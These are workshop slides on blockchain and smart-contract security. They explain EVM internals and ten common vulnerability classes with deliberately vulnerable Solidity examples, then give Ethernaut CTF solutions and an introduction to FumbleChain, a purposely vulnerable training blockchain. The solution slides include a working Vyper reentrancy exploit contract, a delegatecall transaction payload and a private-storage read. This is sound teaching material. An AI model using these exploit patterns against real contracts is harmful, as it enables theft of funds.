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Who am I?

● Nils Amiet
● Research team @ 
● Public speaker
● From Switzerland
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What is a blockchain

● List of records/transactions
● Transactions are bundled inside blocks
● Each block references the previous block
● Each node has a local copy
● Immutable, append-only
● Decentralized trust
● Tamper-proof source of trust
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Blockchain uses
● Cryptocurrencies
● Supply chain tracking
● Online voting
● Document signing
● Digital identity
● ...
● Games
● Authentication
● …
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Do you need a blockchain?
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Blockchain mining
● Each node participates
● Transaction pool
● Transactions are put into blocks
● Blocks are mined
● Proof-of-work consensus
● Block difficulty/target

– Target is deterministic, depends on previous block times, changes every N blocks
– hash(block) must be <= target
– Increment block field and recompute hash until true
– When true => block is mined
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Blockchain ecosystem components
● Base blockchains

– Node software
– Software wallets
– Hardware wallets

● Exchanges
– Web apps
– REST APIs
– Decentralized exchanges

● Decentralized apps
– Smart contracts
– Web apps
– Heavy clients
– Mobile apps

● E-commerce sites
– Accept cryptocurrency payments

● Many existing solutions
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Future of blockchains
● Only the first “wave” of blockchains so far
● Lessons learned
● Building better blockchains
● Current problems

– Scaling
● Blockchain size is huge and growing fast
● Transaction throughput is limited compared to traditional solutions

– Latency can be a problem for Dapps and payments
– Environmental cost
– Privacy
– Security
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Smart contracts and DApps
● Ethereum

– Most used for DApps
– Average block time = 13 seconds

● Bitcoin = 10 minutes
● https://ethstats.net, https://bitinfocharts.com, https://etherscan.io/charts

– Ethereum Virtual Machine (EVM)
– Accounts have an address (160-bit long)
– 2 types of accounts

● Externally Owned Accounts (EOAs) => for regular wallets
● Contract accounts => for smart contracts

– Dapps
● https://stateofthedapps.com, https://dapp.com, https://dappradar.com

● Interacting with contracts
– Web3 (Javascript API), Truffle framework, Embark
– Metamask

https://ethstats.net/
https://bitinfocharts.com/
https://etherscan.io/charts
https://stateofthedapps.com/
https://dapp.com/
https://dappradar.com/
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EVM
● Stack-based VM
● 256-bit words
● Stack max size = 1024
● Takes gas to execute

– Gas price, gas limit
– https://github.com/djrtwo/evm-opcode-gas-costs

● Currently ~140 opcodes (1 byte long => max 256 opcodes)
– Said to be “quasi” turing complete (only limited by gas)
– https://ethervm.io

● Executed by miners who validate transactions
● Bytecode is executed
● High-level language compilers convert language to bytecode

https://github.com/djrtwo/evm-opcode-gas-costs
https://ethervm.io/
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Smart contract architecture
● 256 bit architecture

– Word = 32 bytes
● Storage

– 2^256 slots of 32 bytes each
– SLOAD: load word from storage to stack
– SSTORE: save word to storage
– web3.eth.getStorageAt(addressHexString, position [, defaultBlock] [, callback])

● Stack
– 1024 items of 32 bytes each (= 256 bits)
– PUSH1, DUP1, SWAP1, POP

● Memory
– MLOAD: read 32 byte word
– MSTORE (store word), MSTORE8 (8 bits)
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Smart contract opcodes

● SELFDESTRUCT: destroys contract and send funds 
to address

● CALL: call another contract’s method
● DELEGATECALL: call another contract’s method 

using storage of current contract
● Arithmetic operations: ADD, MUL, SUB, DIV, etc.
● See https://ethervm.io

https://ethervm.io/
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Smart contract structure

● Functions
– https://www.4byte.directory
– Payable functions

● Constructor
● Default function (!)
● Variables
● Balance

https://www.4byte.directory/
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Smart contract deployment and call

● Compile language to EVM bytecode
● Make transaction to “0” address

– Pass constructor bytecode as “data”
– Constructor bytecode initializes contract and returns runtime bytecode

● Receive newly created contract address
● To call contract methods:

– Make transaction to contract address
– Pass function signature and arguments as “data”
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Writing smart contracts

● Solidity (compiler: solc)
● Vyper (compiler: vyper)
● Online compilers

– https://remix.ethereum.org
– https://vyper.online

https://remix.ethereum.org/
https://vyper.online/
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Solidity vs Vyper
pragma solidity >=0.4.0 <0.7.0;

contract SimpleStorage {
    uint storedData;

    function set(uint x) public {
        storedData = x;
    }

    function get() public view returns (uint) {
        return storedData;
    }
}

storedData: public(uint256)

@public
def set(x: uint256):
  self.storedData = x

simplestorage.sol simplestorage.vy



  18

Writing a smart contract with Solidity

● Access to low level functions
● Can do almost everything you could do with bytecode
● OpenZeppelin library

– https://github.com/openzeppelin/openzeppelin-contracts
– SafeMath, ERC20, etc.

● Inline assembly
● Inheritance

https://github.com/openzeppelin/openzeppelin-contracts
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Writing a smart contract with Vyper

● Security as a language goal
– But not invulnerable to attacks

● Less features
– Cannot do everything Solidity can do

● Not battle-tested like Solidity
– Compiler bugs can lead to vulnerable code

● Python :)
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Top smart contract vulnerabilities
● 1. Reentrancy
● 2. Arithmetic issues
● 3. Unprotected SELFDESTRUCT
● 4. Visibility issues
● 5. Denial of service

● 6. Weak randomness
● 7. Transaction order dependence
● 8. Timestamp dependence
● 9. Untrusted DELEGATECALL
● 10. Improper access control
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● DASP: Decentralized Application Security Project
– https://dasp.co

● SWC Registry
– https://swcregistry.io

● ConsenSys - Smart contract best practices - Known 
attacks
– https://consensys.github.io/smart-contract-best-practices

/known_attacks

Smart contract vulnerabilities: sources

https://dasp.co/
https://swcregistry.io/
https://consensys.github.io/smart-contract-best-practices/known_attacks
https://consensys.github.io/smart-contract-best-practices/known_attacks
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1/10: Reentrancy

● Function can be re-entered before it finishes
– 1) call withdraw(foobar)
– 2) withdraw() calls back msg.sender’s default function
– 3) default function calls withdraw() again before 

“balances[msg.sender] -= x” is executed
– 4) x is sent 2+ times

function withdraw(uint x) {
require(balances[msg.sender] >= x);
msg.sender.call.value(x)();
balances[msg.sender] -= x;

}

Example:
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2/10: Arithmetic issues

● Integer overflow
● Integer underflow
● Can lead to unexpected behavior

function withdraw(uint x) {
require(balances[msg.sender] - x > 0);
msg.sender.transfer(x);
balances[msg.sender] -= x;

}

Example:

What if x is really large?
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3/10: Unprotected SELFDESTRUCT

● SELFDESTUCT makes contract unusable
● Sends balance to address in parameter

– Call selfdestruct(address)
● Make sure only authorized people can call 

selfdestruct
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4/10: Visibility issues

● Public functions
– Anyone can call public functions
– Make sure to mark visibility explicitly for all functions

● All data in storage is visible by anyone
– Passwords / black-box algorithms can be reversed 

even if marked as “private”
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5/10: Denial of service

● Calls to external contracts can fail
– Expect failures and catch errors
– Failing external call can revert whole transaction

● Block gas limit
– Transactions doing heavy computations may never 

be picked by miners
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6/10: Weak randomness

● Randomness based on chain data is predictable
– Block.number
– Block.blockhash
– blockhash(blocknumber)

● Blocknumber < current block.number - 256
● Secure randomness in Ethereum is a hard problem
● SmartBillions
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7/10: Transaction order dependence

● Also known as “Front running”
● Example: Quizz contract

– Quizz contract gives prize to first person that finds solution to problem foobar
– Alice finds a solution
– Alice makes a transaction to send her solution
– Attacker sees Alice’s transaction in pool before it is validated
– Attacker sends same solution with higher fees so that their transaction is 

validated first
– Attacker claims the prize
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8/10: Timestamp dependence

● Block timestamp can be manipulated by miner
– Do not depend on it
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9/10: Untrusted DELEGATECALL

● DELGATECALL
– Calls external contract with context of current 

contract’s storage
– If external contract is malicious, it can modify 

storage and cause unexpected behavior
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10/10: Improper access control

● tx.origin
– Do not use for access control
– Use msg.sender

● Constructor name copy-paste mistakes
– Rubixi

● Copy-paste “DynamicPyramid”
– constructor()
– __init__()

contract Rubixi {
        address private creator;

        //Sets creator
        function DynamicPyramid() {
                creator = msg.sender;
        }
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Forcibly sending ether to a contract

● Do not expect being able to prevent receiving 
ether

● selfdestruct(target)
– Sends ether to target

without calling fallback function
contract Vulnerable {
    function () payable {
        revert();
    }

    function somethingBad() {
        require(this.balance > 0);
        // Do something bad
    }
}

Example:
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Exploiting smart contracts (CTF)
● Ethernaut

– https://ethernaut.openzeppelin.com
– Smart contract CTF running on Ropsten (testnet)
– Play level 0 and level 1
– Play levels 4 (Telephone), 6 (Delegation), 8 (Vault),10 (Re-entrancy), ...
– Sometimes the best way to attack a contract is with another contract

● Tools you will need
– Metamask browser extension: https://metamask.io
– Remix IDE (runs in your browser): https://remix.ethereum.org

● More tools
– EthFiddle: https://ethfiddle.com
– Truffle: https://www.trufflesuite.com
– Embark: https://embark.status.im
– Mythril: https://github.com/ConsenSys/mythril
– Slither (static analysis) / Echidna (fuzzing) / Manticore (symbolic execution)

https://ethernaut.openzeppelin.com/
https://metamask.io/
https://remix.ethereum.org/
https://ethfiddle.com/
https://www.trufflesuite.com/
https://embark.status.im/
https://github.com/ConsenSys/mythril
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Ethernaut tips

● Get free ether on metamask faucet
– https://faucet.metamask.io

● Use the tools at your disposal
– Etherscan
– Remix IDE
– Solidity/Vyper documentation

● You may need to use “await” in browser console

https://faucet.metamask.io/
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SOLUTIONS
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Ethernaut challenge 4: Telephone

● tx.origin is the original caller’s address
– The very first caller in the call stack

● msg.sender is the direct method caller
● Example: Alice calls ContractA.m() which calls ContractB.m2() which 

calls ContractC.m3()
– tx.origin = Alice’s address
– Msg.sender

● Inside ContractA.m() => Alice’s address
● Inside ContractB.m2() => ContractA.address
● Inside ContractC.m3() => ContractB.address
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Ethernaut challenge 4: Telephone

contract Telephone:
    def changeOwner(owner: address): modifying
    
phone: Telephone

@public
def __init__(addr: address):
    self.phone = Telephone(addr)
    
@public
def changeOwner(owner: address):
    self.phone.changeOwner(owner)



  38

Ethernaut challenge 6: Delegation

● Use sendTransaction() helper from the console
● Compute keccak256()

– https://emn178.github.io/online-tools/keccak_256.html
● DELEGATECALL(first_4bytes(keccak256(“function 

signature”)))

sendTransaction({
from: foobar, 
to: foobar,
data: foobar})

https://emn178.github.io/online-tools/keccak_256.html
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Ethernaut challenge 6: Delegation

sendTransaction({
from: player,
to: contract.address,
data: "dd365b8b"  // first 4 bytes of keccak256("pwn()")

})
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Ethernaut challenge 8: Vault

● Storage access
– web3.eth.getStorageAt()
– web3.toAscii(value)
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Ethernaut challenge 8: Vault

● web3.eth.getStorageAt(instance, 1, (e,r) => 
{password = r})

● web3.toAscii(password)
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Ethernaut challenge 10: Re-Entrancy

● Call fallback function and send `value` to `msg.sender`
– Solidity: msg.sender.call.value
– Vyper: send(msg.sender, value)

● Use Remix IDE to compile and deploy contract
– https://remix.ethereum.org
– You can use Solidity or Vyper
– See how to use contract interfaces

https://remix.ethereum.org/


  43

Ethernaut challenge 10: Re-Entrancy

Do not forget to set the gas limit
to something large enough,
such as 200000 gas 

contract Reentrance:
    def donate(to: address): modifying
    def balanceOf(who: address) -> uint256: constant
    def withdraw(amount: uint256): modifying
    
rc: Reentrance
finished: bool
quantity: uint256

@public
def __init__(reentrance_contract_address: address):
    self.rc = Reentrance(reentrance_contract_address)
    self.quantity = 1000000000000000000 # 1 ether = 1e18 wei

@public
def pwn():
    # first send 1 coin to your balance
    self.rc.donate(self, value=self.quantity)
    
    # then pwn the thing via reentrancy
    self.finished = False
    self.rc.withdraw(self.quantity)
    
@public
@payable
def __default__():
    if not self.finished:
        self.finished = True
        self.rc.withdraw(self.quantity)
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Some more smart contract CTFs

● Ethernaut
– https://ethernaut.openzeppelin.com
Security Innovation blockchain CTF
– https://blockchain-ctf.securityinnovation.com

● dvcw
– https://gitlab.com/badbounty/dvcw

https://ethernaut.openzeppelin.com/
https://blockchain-ctf.securityinnovation.com/
https://gitlab.com/badbounty/dvcw
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Tools to secure smart contracts

● https://blog.coinfabrik.com/smart-contract-auditing-human-vs-machin
e

● Mythril
– Symbolic execution, equation solving, works well to detect most code 

problems
● Oyente

– Works with EVM bytecode directly
● Manticore

– Symbolic execution
● ...

https://blog.coinfabrik.com/smart-contract-auditing-human-vs-machine
https://blog.coinfabrik.com/smart-contract-auditing-human-vs-machine
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FumbleChain
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What is FumbleChain?

● FumbleChain hopes to bridge the
awareness gap in a fun way

● Allows you to play with blockchain 
technology in a way that is easy to setup

● The “WebGoat” of blockchain
● Education tool
● Purposefully vulnerable Python3 blockchain
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What’s included (1/4)

● FumbleStore: CTF in the form of a fake e-
commerce website
– Buy products with FumbleCoins
– Exploit flaws and steal coins from crypto-wallets
– Buy flags with coins to solve challenges
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What’s included (2/4)

● Lessons/tutorials
– 20+ lessons
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What’s included (3/4)

● Blockchain explorer
– Runs in your web browser
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What’s included (4/4)

● Wallet
– Command line
– Web Wallet (runs in your web browser)
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Requirements

● Linux, macOS
● git
● docker
● docker-compose
● About 3 minutes of your time :)
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How to use it?

● git clone https://github.com/kudelskisecurity/fumblechain.git
● cd fumblechain
● git checkout fumblestore
● cd src/fumblechain
● ./init_ctf.sh
● Wait about 3 minutes
● Browse http://localhost:20801
● Start playing!

http://localhost:20801/
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Run it on your own machine

● Open source project
– kudelskisecurity/fumblechain @ Github
– Community effort

● Contributions are welcome
– New challenge ideas
– New lessons

● Start hacking today!

https://github.com/kudelskisecurity/fumblechain
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Base blockchain vulnerabilities
● Underlying cryptosystem vulnerabilities
● Improper blockchain magic validation (other-chain replay)
● Improper transaction nonce validation (same-chain replay)
● Transaction input validation
● Public-key and address mismatch
● Denial of service
● Wallet-side validation
● Floating-point overflow/underflow
● (Double spending)
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Underlying cryptosystem 
vulnerabilities

● Attacks on RSA
– Shared factors
– Short key length



  

Improper blockchain magic validation

● Blockchain magic value
– Each blockchain must have a different magic value
– Used to make sure that a transaction was made on 

a given blockchain
● Other-chain replay attack



  

Improper transaction nonce validation

● Each transaction must be unique and should 
appear only once in a given chain

● Transaction should have a unique field “nonce”
● Same-chain replay attack

– One transaction can be replayed many times
– Drain all funds from sender’s wallet



  

Transaction input validation

● Missing checks for negative amount 
transactions



  

Public key and address mismatch

● Truncated public key => public address
– Reduces security
– Example: Lisk



  

Denial of service

● Blockchain target update underflow
– Makes blocks impossible to mine



  

Wallet-side validation

● Wallet-side checks
● Node-side checks (on transaction received)



  

Floating-point overflow/underflow

● Can create coins out of thin air
● Example: Python

– Underflow threshold is not the same for addition 
and subtraction
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FumbleChain challenges

● Play 2chains
● Play Erressa
● Maybe Infinichain if time permits
● Read lessons
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SOLUTIONS
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2chains

● Other-chain replay attack
– See related FumbleChain lesson
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Erressa

● RSA shared factor attack
– GCD
– See FumbleChain lesson about attacks on 

cryptosystems
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Tools

● https://etherscan.io
● https://ethfiddle.com
● https://github.com/crytic/awesome-ethereum-sec

urity#tools
● Mythril
● Manticore
● https://fumblechain.io

https://etherscan.io/
https://ethfiddle.com/
https://github.com/crytic/awesome-ethereum-security#tools
https://github.com/crytic/awesome-ethereum-security#tools
https://fumblechain.io/
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Resources

● https://consensys.github.io/smart-contract-best-
practices/

● https://swcregistry.io/
● https://cryptozombies.io/
● https://github.com/crytic/awesome-ethereum-se

curity
● FumbleChain lessons

https://consensys.github.io/smart-contract-best-practices/
https://consensys.github.io/smart-contract-best-practices/
https://swcregistry.io/
https://cryptozombies.io/
https://github.com/crytic/awesome-ethereum-security
https://github.com/crytic/awesome-ethereum-security
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